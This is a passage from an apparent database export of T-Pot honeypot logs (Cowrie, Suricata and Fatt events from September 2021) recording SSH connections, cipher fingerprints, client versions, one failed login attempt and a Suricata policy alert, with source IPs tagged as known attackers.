"hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "221.131.165.40", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "1c02b20e62c6", "@version": "1", "timestamp": "2021-09-20T11:24:03.322263Z", "@timestamp": "2021-09-20T11:24:03.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29243	221.131.165.40	109.199.241.180	Cowrie	2021-09-20 14:24:04.680855+03	2021-09-20 14:30:03.876523+03	{"_id": "HwbyAnwBvYTbRNuE5DTI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.131.165.40", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1c02b20e62c6", "@version": "1", "duration": 1.6752355098724365, "timestamp": "2021-09-20T11:24:04.680855Z", "@timestamp": "2021-09-20T11:24:04.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29244	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:24:11.82074+03	2021-09-20 14:30:03.878528+03	{"_id": "KAbzAnwBvYTbRNuEADQi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:34416 (192.168.176.2:22) [session: 361a76fd34b4]", "session": "361a76fd34b4", "@version": "1", "protocol": "ssh", "src_port": 34416, "dest_port": 22, "timestamp": "2021-09-20T11:24:11.820740Z", "@timestamp": "2021-09-20T11:24:11.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29245	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:24:12.515715+03	2021-09-20 14:30:03.879556+03	{"_id": "KwbzAnwBvYTbRNuEATTW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11165, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1194, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1429809366095863, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56529, "timestamp": "2021-09-20T11:24:12.515715Z", "@timestamp": "2021-09-20T11:24:12.515Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29246	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:24:12.514039+03	2021-09-20 14:30:03.880553+03	{"_id": "KgbzAnwBvYTbRNuEATTW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11165, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1429809366095863, "@version": "1", "in_iface": "enp5s0", "src_port": 56529, "dest_port": 53, "timestamp": "2021-09-20T11:24:12.514039Z", "@timestamp": "2021-09-20T11:24:12.514Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29247	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:12.567141+03	2021-09-20 14:30:03.882563+03	{"_id": "LAbzAnwBvYTbRNuEAzQJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35160, "dest_port": 443, "timestamp": "2021-09-20T11:24:12.567141", "@timestamp": "2021-09-20T11:24:12.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29248	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:24:12.606933+03	2021-09-20 14:30:03.883553+03	{"_id": "LQbzAnwBvYTbRNuEAzQJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35160, "timestamp": "2021-09-20T11:24:12.606933", "@timestamp": "2021-09-20T11:24:12.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29249	221.131.165.40	109.199.241.180	Suricata	2021-09-20 14:24:03.321641+03	2021-09-20 14:30:03.884527+03	{"_id": "GgbyAnwBvYTbRNuE3jSq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:24:02.684568+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.131.165.40", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 119026148864536, "payload": "AAADVAUUJcKQ2Wu2S77JF9IREjydbAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAA8QEGUUw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51174, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:24:03.321641Z", "@timestamp": "2021-09-20T11:24:03.321Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..%...k.K......<.l....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............<@A.S"}}	1	\N	\N	alert	known attacker	\N
29250	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:03.00642+03	2021-09-20 14:30:03.886525+03	{"_id": "HAbyAnwBvYTbRNuE3zTf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "221.131.165.40", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51174, "timestamp": "2021-09-20T11:24:03.006420", "@timestamp": "2021-09-20T11:24:03.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29251	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:23:53.897489+03	2021-09-20 14:30:03.887523+03	{"_id": "BgbyAnwBvYTbRNuEuTTK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:50284 (192.168.176.2:22) [session: d069efc5580f]", "session": "d069efc5580f", "@version": "1", "protocol": "ssh", "src_port": 50284, "dest_port": 22, "timestamp": "2021-09-20T11:23:53.897489Z", "@timestamp": "2021-09-20T11:23:53.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29252	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:23:53.163323+03	2021-09-20 14:30:03.889523+03	{"_id": "BwbyAnwBvYTbRNuEuTTK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [yuanchao/yuanchao] failed", "session": "8d19d322ff4d", "@version": "1", "password": "yuanchao", "username": "yuanchao", "timestamp": "2021-09-20T11:23:53.163323Z", "@timestamp": "2021-09-20T11:23:53.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29253	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:23:53.900404+03	2021-09-20 14:30:03.890524+03	{"_id": "CAbyAnwBvYTbRNuEuTTK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d069efc5580f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:53.900404Z", "@timestamp": "2021-09-20T11:23:53.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29254	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:23:54.182941+03	2021-09-20 14:30:03.891525+03	{"_id": "CQbyAnwBvYTbRNuEuzR_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1661890070141979, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50284, "dest_port": 22, "timestamp": "2021-09-20T11:23:54.182941Z", "@timestamp": "2021-09-20T11:23:54.182Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29255	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:53.901506+03	2021-09-20 14:30:03.893523+03	{"_id": "CgbyAnwBvYTbRNuEvDSz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50284, "timestamp": "2021-09-20T11:23:53.901506", "@timestamp": "2021-09-20T11:23:53.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29256	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:23:54.341304+03	2021-09-20 14:30:03.894524+03	{"_id": "DQbyAnwBvYTbRNuEvTSz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8d19d322ff4d", "@version": "1", "duration": 2.327965497970581, "timestamp": "2021-09-20T11:23:54.341304Z", "@timestamp": "2021-09-20T11:23:54.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29257	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:23:52.364604+03	2021-09-20 14:30:03.895524+03	{"_id": "_AbyAnwBvYTbRNuEtDPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 45856, "dest_port": 22, "timestamp": "2021-09-20T11:23:52.364604", "@timestamp": "2021-09-20T11:23:52.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29258	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:23:52.188123+03	2021-09-20 14:30:03.896524+03	{"_id": "_wbyAnwBvYTbRNuEtTPg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "8d19d322ff4d", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:23:52.188123Z", "@timestamp": "2021-09-20T11:23:52.188Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29259	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:23:54.184029+03	2021-09-20 14:30:03.898523+03	{"_id": "CwbyAnwBvYTbRNuEvDSz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 